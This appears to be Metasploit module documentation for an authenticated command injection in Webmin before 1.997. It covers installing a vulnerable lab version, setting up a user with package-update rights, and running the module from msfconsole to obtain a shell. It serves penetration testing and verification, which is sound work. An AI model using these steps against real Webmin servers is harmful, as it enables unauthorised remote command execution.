## Vulnerable Application

This module exploits an arbitrary command injection in Webmin versions prior to
1.997.

Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform package
updates and installation. Due to a lack of input sanitization, it is possible to
inject an arbitrary command that will be concatenated to the package manager call.

This exploit requires authentication and the account must have access to the
Software Package Updates module.

## Installation

### Ubuntu
- Download a vulnerable version: http://prdownloads.sourceforge.net/webadmin/webmin_1.996_all.deb
- Install it along with its dependencies (`libio-pty-perl` required when installing on Ubuntu 20.04)
```
apt-get install libauthen-pam-perl libio-pty-perl
dpkg -i ./webmin_1.996_all.deb
```

## Setup
- Go to `https://<target IP>:10000/`
- Login as `root` with the OS password
- Create a new user:
  `Webmin > Webmin Users > Create a new privileged user > enter the username and password > click Create`
- Setup permissions
  `Click on the username > Available Webmin modules > select "Software Package Updates" in the System module list > Save`

## Verification Steps
1. Install and setup the application
1. Start msfconsole
1. Do: `use exploit/linux/http/webmin_package_updates_rce`
1. Do: `run lhost=<local IP> rhosts=<target IP> username=<username> password=<user password>`
1. You should get a shell.

## Options

### TARGETURI

Set this to the Webmin base path. The default is `/`.

### USERNAME

The account username to use.

### PASSWORD

The account password.
